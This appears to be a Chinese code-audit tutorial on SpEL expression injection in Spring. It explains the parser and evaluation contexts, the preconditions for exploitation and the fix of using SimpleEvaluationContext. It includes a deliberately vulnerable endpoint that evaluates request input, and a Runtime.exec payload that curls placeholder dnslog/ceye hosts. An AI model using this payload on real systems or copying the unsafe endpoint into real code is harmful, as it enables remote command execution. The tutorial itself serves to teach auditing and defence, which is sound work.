SpEL表达式概念

Spring Expression Language(SpEL) 是 Spring Framework 提供的一种功能强大的表达式语言,全称为 Spring Expression Language,简称 SpEL。它类似于 Struts2 中的 OGNL 表达式语言,旨在为静态的 Java 语言增加动态执行能力,使开发者可以以一种更简洁、灵活的方式访问对象属性、调用方法、进行逻辑运算和动态赋值。

SpEL 的作用和应用场景

SpEL 的设计初衷是为了简化开发工作,提供一种 在运行时动态解析和执行表达式 的机制,常用于如下场景:

  • 配置 Bean 的属性值(配合 @Value 注解)
  • Spring Security 权限表达式
  • Spring Data JPA 查询表达式
  • 条件逻辑控制(如 SPEL 条件注解 @ConditionalOnExpression
  • 模板引擎中处理动态数据
  • 静态方法调用或对象动态构造

举个简单例子,@Value("#{user.name}") 能让你动态从某个 Bean 中获取字段值注入到另一个 Bean 中。

SpEL 不仅支持属性访问和方法调用,还支持集合操作、正则匹配、表达式求值、对象创建等,是 Spring 应用中的通用表达式解析工具。

SpEL支持的功能特性

SpEL 主要支持以下操作:

SpEL的执行机制

  • ExpressionParser
  • EvaluationContext

ExpressionParser(表达式解析器)

用于将字符串形式的表达式解析为 Expression 对象:

ExpressionParser parser = new SpelExpressionParser();
Expression expr = parser.parseExpression("user.age");

EvaluationContext(表达式上下文)

在执行表达式时提供变量、对象、函数等运行环境,简单来说,它是表达式执行的运行环境

StandardEvaluationContext context = new StandardEvaluationContext(user);
int age = expr.getValue(context, Integer.class);

主要有 StandardEvaluationContextSimpleEvaluationContext两种

有些老版本不支持SimpleEvaluationContext,并且如果不做特意说明的情况下,默认是使用更不安全的StandardEvaluationContext

其中StandardEvaluationContext功能最强大,支持SpEL的所有特性,而SimpleEvaluationContext功能受限,专为安全场景设计

SpEL表达式使用方法

1、基于注解

一般是写死在代码中,没有很大的可能能利用

@Value("#{2 * 10}")
private int result;

@Value("#{systemProperties['user.name']}")
private String userName;

2、XML

也是写死在代码中,但是可以配合某些特定组件的Nday漏洞利用,如jackjson的CVE-2017-17485、weblogic的CVE-2019-2725

<bean id="exampleBean" class="com.example.MyBean">
    <property name="value" value="#{T(java.lang.Math).random() * 100}" />
</bean>

3、外部传入动态执行

外部传入的方式非常之危险

@GetMapping("/spel")
public String spel(@RequestParam String spel) {
    ExpressionParser parser = new SpelExpressionParser();
    Expression expression = parser.parseExpression(spel);
    Object value = expression.getValue();
    return "结果: " + value;
}

SpEL注入示例

    /**
     * SpEL to RCE
     * http://localhost:8080/spel/vul/?expression=xxx.
     * xxx is urlencode(exp)
     * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
     */
    @GetMapping("/spel/vuln")
    public String rce(String expression) {
        ExpressionParser parser = new SpelExpressionParser();
        // fix method: SimpleEvaluationContext
        Expression expression1 = parser.parseExpression(expression);
        Object obje = expression1.getValue();
        String obj_str = obje.toString();
        return obj_str;

    }

ExpressionParser parser = new SpelExpressionParser();创建了一个表达式解析,将传入的expression解析为Expression对象

最终通过getValue方法执行表达式,parseExpression方法并不会执行表达式,最终的执行还是在getValue()

那么可以构造Payload为T(java.lang.Runtime).getRuntime().exec("curl xxx.dnslog.cn")

这里获取Runtime类,并通过调用Runtime.getRuntime.exec()进行命令执行

相关SpEL语法可见https://zhuanlan.zhihu.com/p/339619962
Java代码审计SpEL表达式注入-LMLPHP

SpEL利用的前置条件

通过上面的学习,可以发现如果想要将SpEL升级成RCE,那么就必须具备一下三个条件

  1. 传入的表达式未过滤
  2. 表达式解析之后调用了getValue()或setValue()
  3. 使用StandardEvaluationContext作为上下文对象(如果不指定,Spring默认使用StandardEvaluationContext)

漏洞修复

使用SimpleEvaluationContext代替StandardEvaluationContext即可

审计方法

全局搜索expression或更详细的调用方法等

06-08 20:37